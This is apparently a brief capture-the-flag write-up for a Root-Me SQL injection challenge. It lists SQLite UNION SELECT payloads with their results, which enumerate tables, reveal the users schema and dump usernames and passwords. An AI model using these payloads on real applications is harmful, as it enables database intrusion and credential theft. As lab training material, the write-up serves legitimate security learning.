SQL injection: string

root-me challenge: SQL-injection-String: Retrieve the administrator password.

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' UNION SELECT 1,2,3 --

SQLite3::query()

Using PayloadAllTheThings: SQLiteInjection:

7 result(s) for "' UNION SELECT NULL,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --"

 (news)
 (users)

6 result(s) for "' UNION SELECT NULL,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users' --"

 (CREATE TABLE users(username TEXT, password TEXT, Year INTEGER))

And:

8 result(s) for "' UNION SELECT username,password FROM users --"